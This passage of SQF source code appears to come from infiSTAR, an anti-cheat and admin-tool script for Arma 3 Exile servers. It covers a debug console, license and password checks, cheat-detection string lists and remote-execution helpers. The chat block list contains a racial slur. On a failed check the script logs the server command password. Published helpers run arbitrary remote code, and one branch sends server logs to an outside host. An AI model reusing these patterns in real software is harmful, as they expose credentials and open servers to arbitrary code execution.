  670. _ctrl ctrlSetEventHandler['ButtonClick','[] spawn fnc_RscDisplayDebugPublic;true'];
  671. };
  672.  
  673. _ctrlid = _ctrlid + 1;
  674. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  675. _ctrl ctrlSetText 'CLEAR';
  676. _ctrl ctrlSetPosition [1,_startYpos + 0.85,0.25,_buttonheight];
  677. _ctrl ctrlCommit 0;
  678. _ctrl ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1339) ctrlSetText '''';[''workplacemainwindow'',''''] call fnc_setPNS;true'];
  679.  
  680. _ctrlid = _ctrlid + 1;
  681. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  682. _ctrl ctrlSetText 'CLOSE';
  683. _ctrl ctrlSetPosition [1,_startYpos + 0.95,0.25,_buttonheight];
  684. _ctrl ctrlCommit 0;
  685. _ctrl ctrlSetEventHandler['ButtonClick','closeDialog 0;true'];
  686.  
  687.  
  688. _ctrl = [_display,'RSCEdit',1] call fnc_createctrl;
  689. _ctrl ctrlSetPosition [-0.25,1 + (_buttonheight*2),0.25,_buttonheight];
  690. _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
  691. _ctrl ctrlCommit 0;
  692.  
  693. _ctrl = [_display,'RSCButton',2] call fnc_createctrl;
  694. _ctrl ctrlSetText 'Save';
  695. _ctrl ctrlSetPosition [-0.25,1 + (_buttonheight*3),0.25,_buttonheight];
  696. _ctrl ctrlCommit 0;
  697. _ctrl ctrlSetEventHandler['ButtonClick','
  698. _varname = ctrlText((findDisplay -1341) displayCtrl 1);
  699. if(_varname isEqualTo '''')then
  700. {
  701. systemChat ''You need to write a name to save this function..!'';
  702. }
  703. else
  704. {
  705. _var = [''infiSTAR_SAVED_FUNCTIONS'',[]] call fnc_getPNS;
  706. _index = _var pushBackUnique _varname;
  707.  
  708.  
  709. [''infiSTAR_SAVED_FUNCTIONS'',_var] call fnc_setPNS;
  710. [format[''infiSTAR_SAVED_FUNCTION_%1'',_varname],call fnc_getMainText] call fnc_setPNS;
  711.  
  712. systemChat format[''Saved: %1'',_varname];
  713. call fnc_fillDebugListBox;
  714. };
  715. true
  716. '];
  717.  
  718. _ctrl = [_display,'RSCButton',3] call fnc_createctrl;
  719. _ctrl ctrlSetText 'Load';
  720. _ctrl ctrlSetPosition [-0.25,1 + (_buttonheight*4),0.25,_buttonheight];
  721. _ctrl ctrlCommit 0;
  722. _ctrl ctrlSetEventHandler['ButtonClick','_this call fnc_debug_loadbtn'];
  723.  
  724. _ctrl = [_display,'RSCButton',4] call fnc_createctrl;
  725. _ctrl ctrlSetText 'Delete';
  726. _ctrl ctrlSetPosition [-0.25,1 + (_buttonheight*5),0.25,_buttonheight];
  727. _ctrl ctrlCommit 0;
  728. _ctrl ctrlSetEventHandler['ButtonClick','
  729. _var = [''infiSTAR_SAVED_FUNCTIONS'',[]] call fnc_getPNS;
  730. _varname = lbtext[1384,(lbCurSel 1384)];
  731. if(_varname isEqualTo '''')then
  732. {
  733. systemChat ''You need to select a function to delete..!'';
  734. }
  735. else
  736. {
  737. if(isNil''last_delete_call'')then
  738. {
  739. last_delete_call = _varname;
  740. systemChat format[''Please click again to delete: %1'',_varname];
  741. }
  742. else
  743. {
  744. if(last_delete_call isEqualTo _varname)then
  745. {
  746. _index = _var find _varname;
  747.  
  748. _var deleteAt _index;
  749. [''infiSTAR_SAVED_FUNCTIONS'',_var] call fnc_setPNS;
  750. [format[''infiSTAR_SAVED_FUNCTION_%1'',_varname],nil] call fnc_setPNS;
  751.  
  752. systemChat format[''Deleted: %1'',_varname];
  753. call fnc_fillDebugListBox;
  754. last_delete_call = nil;
  755. }
  756. else
  757. {
  758. systemChat format[''Please click again to delete: %1'',_varname];
  759. };
  760. };
  761. };
  762. true
  763. '];
  764.  
  765. call fnc_fillDebugListBox;
  766. };/*
  767. Author: Chris(tian) "infiSTAR" Lorenzen
  768. Contact: [email protected] // www.infiSTAR.de
  769.  
  770. Copyright infiSTAR - 2011 - 2016. All rights reserved.
  771. Christian (Chris) L. ([email protected]) Developer of infiSTAR
  772.  
  773. Description:
  774. Arma AntiHack & AdminTools - infiSTAR.de
  775. */
  776. comment 'Antihack & AdminTools - Christian Lorenzen - www.infiSTAR.de';
  777. UPDATEEMAIL='[email protected]';
  778. INFISTARVERSION='05-Jul-2016 23-52-40 - v0054';
  779. if((toLower UPDATEEMAIL) in ['','[email protected]'])exitWith{
  780. diag_log '<infiSTAR.de> Please go to update.infistar.de and download the latest version of infiSTAR!';
  781. diag_log format['<infiSTAR.de> The current version is licensed to %1 and not your email address.',UPDATEEMAIL];
  782. diag_log '<infiSTAR.de> infiSTAR will NOT START if it is licensed to that email address!';
  783. };
  784. _productVersion = productVersion select 2;
  785. if(_productVersion < 160)exitWith{
  786. diag_log format['<infiSTAR.de> Arma Server is outdated (version: %1)! Please update your arma3server!',_productVersion];
  787. diag_log '<infiSTAR.de> infiSTAR will NOT START if the server is outdated!';
  788. };
  789. diag_log format['<infiSTAR.de> %1 - VERSION: %2',time,INFISTARVERSION];
  790. {
  791. _uids = (_x select 0);
  792. {
  793. private '_uid';
  794. _uid = _x;
  795. if(!isNil'_uid')then
  796. {
  797. _uidarray = toArray _x;
  798. if(39 in _uidarray)then
  799. {
  800. _uidarray = _uidarray - [39];
  801. _uid = toString _uidarray;
  802. diag_log format['<infiSTAR.de> %1 - validated admin uid (do not use single quotes!) %2 should be %3',time,_x,_uid];
  803. };
  804. if(count _uid > 5)then
  805. {
  806. _admins pushBackUnique _uid;
  807. diag_log format['<infiSTAR.de> %1 - adding valid admin uid %2',time,_uid];
  808. }
  809. else
  810. {
  811. diag_log format['<infiSTAR.de> %1 - removing invalid admin uid %2',time,_uid];
  812. };
  813. };
  814. } forEach _uids;
  815. } forEach _adminUIDandAccess;
  816. _t = time;
  817. diag_log format['<infiSTAR.de> %1 - TESTING IF serverCommandPassword IS SET PROPERLY',_t];
  818. _return = _serverCommandPassword serverCommand format ['#kick %1',0];
  819. if(!_return)then{_serverCommandPassword = getText(configfile >> 'CfgSettings' >> 'RCON' >> 'serverPassword');};
  820. _return = _serverCommandPassword serverCommand format ['#kick %1',0];
  821. if(!_return)exitWith
  822. {
  823. diag_log format['<infiSTAR.de> %1 - serverCommandPassword NOT SET! [email protected] - 05-Jul-2016 23-52-40 - v0054 - %2 - %3',_t,serverName,productVersion];
  824. diag_log format['<infiSTAR.de> %1 - serverCommandPassword in EXILE_AHAT_CONFIG.hpp is %2',_t,_serverCommandPassword];
  825. diag_log format['<infiSTAR.de> %1 - serverCommandPassword is defined in your servers config.cfg',_t];
  826. diag_log format['<infiSTAR.de> %1 - serverCommandPassword has to be set it in EXILE_AHAT_CONFIG.hpp where it says _serverCommandPassword = "changeme";',_t];
  827. diag_log format['<infiSTAR.de> %1 - infiSTAR will NOT START if passwords are not set properly!',_t];
  828. };
  829. FN_GET_SERVERPW = compileFinal (str _serverCommandPassword);
  830. diag_log format['<infiSTAR.de> %1 - serverCommandPassword IS FINE',_t];
  831. if!(isClass (missionconfigfile >> 'infiSTAR_EDITBOX2'))exitWith
  832. {
  833. diag_log format['<infiSTAR.de> %1 - infiSTAR_Exile_AdminMenu.hpp in your MPmission is NOT UPDATED [email protected] - 05-Jul-2016 23-52-40 - v0054 - %2 - %3',_t,serverName,productVersion];
  834. diag_log format['<infiSTAR.de> %1 - infiSTAR will NOT START if infiSTAR_Exile_AdminMenu.hpp is not updated!',_t];
  835. };
  836. _test = [0,{}] execFSM 'call.fsm';
  837. _test = [0,{}] execFSM 'call.fsm';
  838. if(_test isEqualTo 0)exitWith
  839. {
  840. _log = format['<infiSTAR.de> %1 - call.fsm missing in your MPmission! [email protected] - 05-Jul-2016 23-52-40 - v0054 - %2 - %3',_t,serverName,productVersion];
  841. for '_i' from 0 to 30 do
  842. {
  843. diag_log _log;
  844. diag_log format['<infiSTAR.de> %1 - infiSTAR will NOT START if files are not in place!',_t];
  845. };
  846. };
  847. _blacklistedVariables append ['shit','_FNC_DECRYPT'];
  848. fn_clean_bad = compileFinal "
  849. private '_clean';
  850. _clean = _this;
  851. _clean = toArray _clean;
  852. _clean = _clean - [35];
  853. _clean = toString _clean;
  854. _clean
  855. ";
  856. currentserverfps = 50;
  857. activeSQFScriptsvar = 0;
  858. FN_CHECK_CHARACTERS = compileFinal "
  859. _allowedCharacters = [48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90];
  860. _upper = toUpper(_this select [0,10]);
  861. _array = toArray _upper;
  862. _tmparray = [];
  863. {if(_x in _allowedCharacters)then{_tmparray pushBack _x;};} forEach _array;
  864. toString _tmparray
  865. ";
  866. CUSTOM_briefingName = briefingName call FN_CHECK_CHARACTERS;
  867. CUSTOM_worldName = worldName call FN_CHECK_CHARACTERS;
  868. fnc_getserverTime = compileFinal "
  869. _hours = floor(time / 60 / 60);
  870. _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
  871. _seconds = time - (_hours*60*60) - (_minutes * 60);
  872. format['%1h %2min %3s | ',_hours,_minutes,round _seconds]
  873. ";
  874. FN_CALL_LOG_DLL = compileFinal "'ARMA_LOG' callExtension format['%1%2_%3_%4',LOG_PATH,briefingName select [0,10],worldName select [0,10],_this]";
  875. FN_CALL_LOAD_DLL = compileFinal "'ARMA_LOAD' callExtension _this";
  876. _customlogstring = "
  877. format['A3_%1:%2',_this select 0,_this select 1] call FN_CALL_LOG_DLL;
  878. diag_log format['<infiSTAR.de>%1| %2 ['+INFISTARVERSION+']',_this select 0,_this select 1];
  879. ";
  880. if(!isNil'MAR_fnc_log')then{
  881. _customlogstring = _customlogstring + "
  882. [_this select 1,format['infiSTAR.de_%1',_this select 0]] call MAR_fnc_log;
  883. ";
  884. };
  885. FNC_A3_CUSTOMLOG = compileFinal _customlogstring;
  886. if(_testserver)then{
  887. FNC_A3_RL = compileFinal "
  888. params['_logname','_logentry'];
  889. _this call FNC_A3_CUSTOMLOG;
  890. _buildurl = format['http://htmlload.infistar.de/[email protected]&owneruid=76561198165536859&infistarversion=05-Jul-2016 23-52-40 - v0054&servername=%1&logname=%2&logentry=%3',serverName,_logname,_logentry];
  891. _packet1 = format['getasync%1%2%1',toString [10],_buildurl call fn_clean_bad];
  892. _jobid = _packet1 call FN_CALL_LOAD_DLL;
  893. ";
  894. }else{FNC_A3_RL = compileFinal "_this call FNC_A3_CUSTOMLOG;";};
  895. _UVC = ((_VehicleWhiteList_check)||(_ForbiddenVehicles_check));
  896. _allRandomGenVars = [];
  897. _counts = [];
  898. {
  899. _counts pushBack (count _x);
  900. } forEach (allVariables missionnamespace);
  901. _num = 0;
  902. {
  903. _num = _num + _x;
  904. } forEach _counts;
  905. _count = count _counts;
  906. _average = ceil(_num / _count);
  907. _randminval = (_average/3);
  908. _randmaxval = (_average/1.5);
  909. _fnc_RandomGen =
  910. {
  911. private '_gen';
  912. _fnc_actualGen = {
  913. _start = ['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'];
  914. _main = ['d','e','A','b','3','f','w','7','O','B','j','l','W','Y','g','Y','a','b','e','t','B','L','i','I','g','J','h','H','i','G'];
  915. _filler = ['1','2','3','4','5','6','7','8','9','0','_','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
  916. _gen = selectRandom _start;
  917. _randmax = {((round(random _randminval)) + (round(random _randmaxval))) max _randminval};
  918. for '_i' from 0 to (call _randmax)do
  919. {
  920. _gen = _gen + (selectRandom _filler) + (selectRandom _main);
  921. };
  922. _gen
  923. };
  924. for '_i' from 0 to 10000 do
  925. {
  926. _gen = call _fnc_actualGen;
  927. _index = _allRandomGenVars pushBackUnique _gen;
  928. if(_index > -1)exitWith{_gen};
  929. };
  930. _gen
  931. };diag_log format['<infiSTAR.de> _fnc_RandomGen: %1',_fnc_RandomGen];
  932. ['RANDOMVAR',format['----START-LINE---- (%1)',INFISTARVERSION]] call FNC_A3_CUSTOMLOG;
  933. _fnc_server_handle_mpmessage = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_server_handle_mpmessage: %1',_fnc_server_handle_mpmessage]] call FNC_A3_CUSTOMLOG;
  934. _fnc_AdminReqReal = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_AdminReqReal: %1',_fnc_AdminReqReal]] call FNC_A3_CUSTOMLOG;
  935. _fnc_server_handle_pre_mpmessage = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_server_handle_pre_mpmessage: %1',_fnc_server_handle_pre_mpmessage]] call FNC_A3_CUSTOMLOG;
  936. _RATING_CHECK_LOOPS = call _fnc_RandomGen;['RANDOMVAR',format['_RATING_CHECK_LOOPS: %1',_RATING_CHECK_LOOPS]] call FNC_A3_CUSTOMLOG;
  937. _token_by_uid = call _fnc_RandomGen;['RANDOMVAR',format['_token_by_uid: %1',_token_by_uid]] call FNC_A3_CUSTOMLOG;
  938. _uid_by_token = call _fnc_RandomGen;['RANDOMVAR',format['_uid_by_token: %1',_uid_by_token]] call FNC_A3_CUSTOMLOG;
  939. _name_by_uid = call _fnc_RandomGen;['RANDOMVAR',format['_name_by_uid: %1',_name_by_uid]] call FNC_A3_CUSTOMLOG;
  940. _owner_by_uid = call _fnc_RandomGen;['RANDOMVAR',format['_owner_by_uid: %1',_owner_by_uid]] call FNC_A3_CUSTOMLOG;
  941. _uid_by_owner = call _fnc_RandomGen;['RANDOMVAR',format['_uid_by_owner: %1',_uid_by_owner]] call FNC_A3_CUSTOMLOG;
  942. _object_by_uid = call _fnc_RandomGen;['RANDOMVAR',format['_object_by_uid: %1',_object_by_uid]] call FNC_A3_CUSTOMLOG;
  943. _onPlayerConnected = call _fnc_RandomGen;['RANDOMVAR',format['_onPlayerConnected: %1',_onPlayerConnected]] call FNC_A3_CUSTOMLOG;
  944. _server_setTokenR = call _fnc_RandomGen;['RANDOMVAR',format['_server_setTokenR: %1',_server_setTokenR]] call FNC_A3_CUSTOMLOG;
  945. _FN_INJECT_ON_CLIENT = call _fnc_RandomGen;['RANDOMVAR',format['_FN_INJECT_ON_CLIENT: %1',_FN_INJECT_ON_CLIENT]] call FNC_A3_CUSTOMLOG;
  946. _fnc_l_on_c = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_l_on_c: %1',_fnc_l_on_c]] call FNC_A3_CUSTOMLOG;
  947. _TokenCT = call _fnc_RandomGen;['RANDOMVAR',format['_TokenCT: %1',_TokenCT]] call FNC_A3_CUSTOMLOG;
  948. _adminStartupCode = call _fnc_RandomGen;['RANDOMVAR',format['_adminStartupCode: %1',_adminStartupCode]] call FNC_A3_CUSTOMLOG;
  949. _AHKickOFF = call _fnc_RandomGen;['RANDOMVAR',format['_AHKickOFF: %1',_AHKickOFF]] call FNC_A3_CUSTOMLOG;
  950. _AHKickLog = call _fnc_RandomGen;['RANDOMVAR',format['_AHKickLog: %1',_AHKickLog]] call FNC_A3_CUSTOMLOG;
  951. _AH_RunCheckENDVAR = call _fnc_RandomGen;['RANDOMVAR',format['_AH_RunCheckENDVAR: %1',_AH_RunCheckENDVAR]] call FNC_A3_CUSTOMLOG;
  952. _AH_RunCheck = call _fnc_RandomGen;['RANDOMVAR',format['_AH_RunCheck: %1',_AH_RunCheck]] call FNC_A3_CUSTOMLOG;
  953. _AH_HackLogArrayRND = call _fnc_RandomGen;['RANDOMVAR',format['_AH_HackLogArrayRND: %1',_AH_HackLogArrayRND]] call FNC_A3_CUSTOMLOG;
  954. _AH_SurvLogArrayRND = call _fnc_RandomGen;['RANDOMVAR',format['_AH_SurvLogArrayRND: %1',_AH_SurvLogArrayRND]] call FNC_A3_CUSTOMLOG;
  955. _AH_AdmiLogArrayRND = call _fnc_RandomGen;['RANDOMVAR',format['_AH_AdmiLogArrayRND: %1',_AH_AdmiLogArrayRND]] call FNC_A3_CUSTOMLOG;
  956. _TMPBAN = call _fnc_RandomGen;['RANDOMVAR',format['_TMPBAN: %1',_TMPBAN]] call FNC_A3_CUSTOMLOG;
  957. _fn_getTempBans = call _fnc_RandomGen;['RANDOMVAR',format['_fn_getTempBans: %1',_fn_getTempBans]] call FNC_A3_CUSTOMLOG;
  958. _fnc_addTempBan = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_addTempBan: %1',_fnc_addTempBan]] call FNC_A3_CUSTOMLOG;
  959. _fnc_removeTempBan = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_removeTempBan: %1',_fnc_removeTempBan]] call FNC_A3_CUSTOMLOG;
  960. _AHpos = call _fnc_RandomGen;['RANDOMVAR',format['_AHpos: %1',_AHpos]] call FNC_A3_CUSTOMLOG;
  961. _adminsA = call _fnc_RandomGen;['RANDOMVAR',format['_adminsA: %1',_adminsA]] call FNC_A3_CUSTOMLOG;
  962. _MCS = call _fnc_RandomGen;['RANDOMVAR',format['_MCS: %1',_MCS]] call FNC_A3_CUSTOMLOG;
  963. _LogicVariable = call _fnc_RandomGen;['RANDOMVAR',format['_LogicVariable: %1',_LogicVariable]] call FNC_A3_CUSTOMLOG;
  964. _vehicle_needs_check = call _fnc_RandomGen;['RANDOMVAR',format['_vehicle_needs_check: %1',_vehicle_needs_check]] call FNC_A3_CUSTOMLOG;
  965. _fnc_infiSTAR_PlayerLog = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_infiSTAR_PlayerLog: %1',_fnc_infiSTAR_PlayerLog]] call FNC_A3_CUSTOMLOG;
  966. _antidupePVResVar = call _fnc_RandomGen;['RANDOMVAR',format['_antidupePVResVar: %1',_antidupePVResVar]] call FNC_A3_CUSTOMLOG;
  967. _runcheck_thread = call _fnc_RandomGen;['RANDOMVAR',format['_runcheck_thread: %1',_runcheck_thread]] call FNC_A3_CUSTOMLOG;
  968. _timealive = call _fnc_RandomGen;['RANDOMVAR',format['_timealive: %1',_timealive]] call FNC_A3_CUSTOMLOG;
  969. _fnc_check_type_allowed = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_check_type_allowed: %1',_fnc_check_type_allowed]] call FNC_A3_CUSTOMLOG;
  970. _fnc_remove_badvehicle = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_remove_badvehicle: %1',_fnc_remove_badvehicle]] call FNC_A3_CUSTOMLOG;
  971. _fnc_vehicle_check = call _fnc_RandomGen;['RANDOMVAR',format['_fnc_vehicle_check: %1',_fnc_vehicle_check]] call FNC_A3_CUSTOMLOG;
  972. ['RANDOMVAR',format['----END-LINE---- (%1)',INFISTARVERSION]] call FNC_A3_CUSTOMLOG;
  973. _badChatTMP = _badChat;_badChat = ["nigger","get cancer","infishit"];{_badChat pushBackUnique (toLower _x);}forEach _badChatTMP;
  974. _badNamesFullTMP = _badNamesFull;_badNamesFull = [];{_badNamesFull pushBackUnique (toLower _x);}forEach _badNamesFullTMP;
  975. _badNamesPartialTMP = _badNamesPartial;_badNamesPartial = [];{_badNamesPartial pushBackUnique (toLower _x);}forEach _badNamesPartialTMP;
  976. _badGroupNamesTMP = _badGroupNames;_badGroupNames = [];{_badGroupNames pushBackUnique (toLower _x);}forEach _badGroupNamesTMP;
  977. _variable1 = toString[105,115,114,117,110,110,105,110,103];
  978. diag_log format['<infiSTAR.de> %1 - loading AntiHack..',time];
  979.  
  980. _verybadStrings =
  981. [
  982. 'menu loaded','kill target','no recoil','rapid fire','explode all','teleportall',
  983. 'destroyall','destroy all','g-e-f','box-esp','god on','god mode','unlimited mags',
  984. 'infishit','cheatmenu','in54nity','infinite ammo','player markers',' is god'
  985. ];
  986. _blacklistedAdminVariables =
  987. [
  988. 'fnc_admin_c','fnc_admin_cc','fnc_debugbox_new','fnc_workplace',
  989. 'AH_HackLogArray','AH_SurvLogArray','AH_AdmiLogArray','babecore_escM_mousepos',
  990. 'fnc_infiAdminKeyDown','MAIN_DISPLAY_ID','fnc_Disconnect_selected','fnc_adminLog','go_in_nearestvehicle_callmevar','noRecoilRun',
  991. 'FNC_CUSTOM_fn_loadInventory','ADMIN_LOCAL_MARKER','ALLOW_ME_THIS_KEYBIND','freeFlightCam','fnc_ButtonClick_44466','fnc_LBSelChanged_LEFT','unlimAmmRun',
  992. 'fnc_infiSTAR_A3noRecoil','VEHBOOST_FUNCTION','fnc_infiSTAR_get_LeftClicks','fnc_AdminReq','infiSTAR_MAIN_CODE','fnc_get_plr'
  993. ];
  994.  
  995.  
  996. _tofindvar =
  997. [
  998. 'xxx_','k3ybinds','jme_','infistatus',
  999. 'godmode','speedhack','no grass','remote menu',
  1000. 'currentmenu',' is god','_m0de','fuck_','m3nu'
  1001. ];
  1002. _tofindcontent =
  1003. [
  1004. '+ _code +','infiesp'
  1005. ];
  1006. _tofindboth =
  1007. [
  1008. '_g0d_'
  1009. ];
  1010.  
  1011. _findObjectVar =
  1012. [
  1013. 'gtog','currenttarget','explodepos','nfttog','currentindex',
  1014. 'exbtog','explodeobj','spawnunit','pfftog','fstog','menuvars',
  1015. 'shbtog','pnftog','launch','itog','ndtog','ifbtog','cursore'
  1016. ];
  1017. _findObjectVarContent =
  1018. [
  1019. 'systemchat'
  1020. ];
  1021.  
  1022. _allowedMarkers = ['TreasureMarker','ExilePartyMarker','ExileSupplyBox','Death','[',']'];
  1023. _VehicleWhiteListTEMP = _VehicleWhiteList;_VehicleWhiteList = [];{_VehicleWhiteList pushBackUnique (toLower _x);} forEach _VehicleWhiteListTEMP;_VehicleWhiteListTEMP=nil;
  1024. _ForbiddenVehiclesTEMP = _ForbiddenVehicles;_ForbiddenVehicles = [];{_ForbiddenVehicles pushBackUnique (toLower _x);} forEach _ForbiddenVehiclesTEMP;_ForbiddenVehiclesTEMP=nil;
  1025. if(_UMW)then{_allowedMarkers append _aLocalM;};
  1026. _chatCommandsL = [];
  1027. {
  1028. _chatCommandsL pushBackUnique [toLower(_x select 0),(_x select 1)];
  1029. } forEach _chatCommands;
  1030. _chatCommandsPL = [];
  1031. {
  1032. _chatCommandsPL pushBackUnique [toLower(_x select 0),(_x select 1)];
  1033. } forEach _chatCommandsP;
  1034.  
  1035.  
  1036. if(_HTML_LOAD_URL != "")then{HTML_LOAD_URL3 = _HTML_LOAD_URL;publicVariable "HTML_LOAD_URL3";};
  1037. if(isNil'CUSTOM_FUNCTION_ARRAY')then{CUSTOM_FUNCTION_ARRAY = [];};
  1038. CUSTOM_FUNCTION_EXTENDED = compileFinal "
  1039. if(CUSTOM_FUNCTION_ARRAY isEqualTo [])exitWith{false};
  1040. _option = _this select 0;
  1041. _input = _this select 1;
  1042. _return = _input call (CUSTOM_FUNCTION_ARRAY select _option);
  1043. _return
  1044. ";
  1045. if(_ENABLE_PRIVATE_CHAT_MENU)then{
  1046. _privchat = {
  1047. _senderNetId = _this select 0;
  1048. _receiverNetId = _this select 1;
  1049. _time = _this select 2;
  1050. _text = _this select 3;
  1051. _senderObj = objectFromNetId _senderNetId;
  1052. _receiverObj = objectFromNetId _receiverNetId;
  1053. if(!isNull _senderObj && !isNull _receiverObj)then
  1054. {
  1055. _senderName = _senderObj getVariable['ExileName',name _senderObj];
  1056. _receiverName = _receiverObj getVariable['ExileName',name _receiverObj];
  1057.  
  1058. ['CHAT',format['(%1) %2(%3) -> %4: %5',_time,_senderName,getPlayerUID _senderObj,_receiverName,_text]] call FNC_A3_CUSTOMLOG;
  1059.  
  1060. [
  1061. [_senderName,_receiverName,_time,_text,_senderObj],
  1062. {
  1063. params['_senderName','_receiverName','_time','_text','_senderObj'];
  1064. CHAT_HISTORY_ARRAY pushBack [_senderName,_receiverName,_time,_text];
  1065.  
  1066. ACTIVE_CHATS = ACTIVE_CHATS - [_senderObj];
  1067. ACTIVE_CHATS pushBackUnique _senderObj;
  1068.  
  1069. systemChat format['%1 (%2): %3',_senderName,_time,_text];
  1070. playsound 'AddItemOK';
  1071.  
  1072. call fnc_fill_chat_history;
  1073. call fnc_fill_chat_playerlist;
  1074.  
  1075. ['SuccessTitleAndText', ['Private Message', format ['from %1: %2', _senderName,_text]]] call ExileClient_gui_toaster_addTemplateToast;
  1076. },
  1077. owner _receiverObj,
  1078. false
  1079. ] call FN_infiSTAR_S;
  1080. };
  1081. };
  1082. CUSTOM_FUNCTION_ARRAY set[4,_privchat];
  1083. };
  1084. call compile ("
  1085. FNC_OWNER_BY_UID = compileFinal ""
  1086. params[['_uid','']];
  1087. _owner = missionNameSpace getVariable[format['"+_owner_by_uid+"%1',_uid],-10];
  1088. if(_owner isEqualTo -10)then
  1089. {
  1090. _clientObject = missionNameSpace getVariable[format['"+_object_by_uid+"%1',_uid],objNull];
  1091. if(!isNull _clientObject)then
  1092. {
  1093. if(isPlayer _clientObject)then
  1094. {
  1095. _owner = owner _clientObject;
  1096. };
  1097. };
  1098. };
  1099. if(_owner > 2)then{_owner}else{-10}
  1100. "";
  1101. fnc_AdminReq = compileFinal '
  1102. _inputOption = _this select 0;
  1103. _inputParams = _this select 1;
  1104. if(_inputOption isEqualTo 0)exitWith{_inputParams call "+_fnc_AdminReqReal+";true};
  1105. if(_inputOption isEqualTo 1)exitWith{_inputParams call "+_fnc_server_handle_pre_mpmessage+";true};
  1106. if(_inputOption isEqualTo 2)exitWith{if(!isNil''CUSTOM_FUNCTION'')then{_inputParams call CUSTOM_FUNCTION;};true};
  1107. if(_inputOption isEqualTo 3)exitWith{_inputParams call CUSTOM_FUNCTION_EXTENDED;true};
  1108. ';
  1109. fnc_do_adminTP = compileFinal '
  1110. params[''_unit'',''_pos''];
  1111. private _AHpos = uiNameSpace getVariable ''"+_AHpos+"'';
  1112. if(isNil''_AHpos'')then{(vehicle _unit) setPosATL _pos;}else{uiNameSpace setVariable[''"+_AHpos+"'',_pos];};
  1113. ';
  1114. publicVariable'fnc_do_adminTP';
  1115. ");
  1116. FN_infiSTAR_CS = compileFinal "_this remoteExecCall ['fnc_AdminReq', 2, false]";publicVariable"FN_infiSTAR_CS";
  1117. FN_infiSTAR_F = compileFinal "missionNameSpace setVariable[(_this select 0),compileFinal(_this select 1)]";publicVariable"FN_infiSTAR_F";
  1118. FN_infiSTAR_C = compileFinal "(_this select 0) call (_this select 1)";publicVariable"FN_infiSTAR_C";
  1119. FN_infiSTAR_S = compileFinal "
  1120. params [['_input',''],['_code',{}],['_target',-10],['_jip',false]];
  1121. if(typename _code isEqualTo 'STRING')then{_code=compile _code;};
  1122. if((_target isEqualTo 0)||(_target isEqualTo -10))exitWith{};
  1123. if(_target isEqualTo 2)exitWith{_input call _code};
  1124. [_input,_code] remoteExecCall ['FN_infiSTAR_C',_target,_jip]
  1125. ";
  1126. fnc_call_ARMALOAD = compileFinal "
  1127. private['_option','_input','_url','_packet1','_jobid','_packet2','_res','_timeout'];
  1128. _option = _this select 0;
  1129. _input = _this select 1;
  1130. _url = _this select 2;
  1131.  
  1132. _packet1 = format['getasync%1%2%1',toString [10],_url];
  1133. _jobid = _packet1 call FN_CALL_LOAD_DLL;
  1134. _packet2 = format['response%1%2%1',toString [10],_jobid];
  1135. _timeout = diag_tickTime + 80;
  1136. _res = 'WAIT';
  1137. _bad = ['','WAIT','ERROR','URLERROR'];
  1138. waitUntil{
  1139. uiSleep 3;
  1140. _res = _packet2 call FN_CALL_LOAD_DLL;
  1141. (!(_res in _bad) && ((toLower _res) find 'wrapper is disabled' isEqualTo -1)) || diag_tickTime > _timeout
  1142. };
  1143. if(_res in _bad)exitWith{};if((toLower _res) find 'wrapper is disabled' != -1)exitWith{};
  1144. if(_option isEqualTo 0)exitWith
  1145. {
  1146. if(isNil'ARMALOAD_urlARRAY')then{ARMALOAD_urlARRAY=[];};
  1147. if(_url in ARMALOAD_urlARRAY)exitWith{diag_log '<infiSTAR.de> terminated double LOAD call';};
  1148. ARMALOAD_urlARRAY pushBack _url;
  1149.  
  1150. private['_name','_puid','_clientID'];
  1151. _name = _input select 0;
  1152. _puid = _input select 1;
  1153. missionNameSpace setVariable[format['STEAM_NAME_%1',_puid],_res];
  1154.  
  1155. if(count _input == 3)then
  1156. {
  1157. _clientID = _input select 2;
  1158. _code = {
  1159. params['_name','_uid',['_steamname','']];
  1160. _log = format['<infiSTAR.de> %1(%2) SteamName is: %3',_name,_uid,_steamname];
  1161. format['%1 -> %2',_name,_steamname] call FN_SHOW_LOG;
  1162. systemchat _log;
  1163. diag_log _log;
  1164. };
  1165. [[_name,_puid,_res],_code,_clientID,false] call FN_infiSTAR_S;
  1166. ['STEAM_NAME_LOG',format['%1(%2) is %3',_name,_puid,_res]] call FNC_A3_RL;
  1167. };
  1168. };
  1169. ";
  1170. FN_GET_OBJ_BY_OWNER = compileFinal "
  1171. _playerObj = objNull;{if(owner _x isEqualTo _owner)exitWith{_playerObj=_x};} forEach allPlayers;_playerObj
  1172. ";
  1173. fnc_resolveSteamName = compileFinal "
  1174. private['_name','_puid','_clientID','_inputToForward','_steamName'];
  1175. _name = _this select 0;
  1176. _puid = _this select 1;
  1177. _inputToForward = [_name,_puid];
  1178. if(count _this == 3)then
  1179. {
  1180. _clientID = _this select 2;
  1181. _inputToForward = [_name,_puid,_clientID];
  1182. };
  1183. _steamName = missionNameSpace getVariable[format['STEAM_NAME_%1',_puid],''];
  1184. if(_steamName isEqualTo '')then
  1185. {
  1186. if(isNil 'STEAM_NAME_ARRAY_Q')then{STEAM_NAME_ARRAY_Q = [];};
  1187. if!(_puid in STEAM_NAME_ARRAY_Q)then
  1188. {
  1189. STEAM_NAME_ARRAY_Q pushBack _puid;
  1190. if(isNil'STEAM_NAME_URL')then{STEAM_NAME_URL = 'http://htmlload.infistar.de/steamname.php?steamuid=';};
  1191. [0,_inputToForward,format['%1%2',STEAM_NAME_URL,_puid]] spawn fnc_call_ARMALOAD;
  1192. };
  1193. };
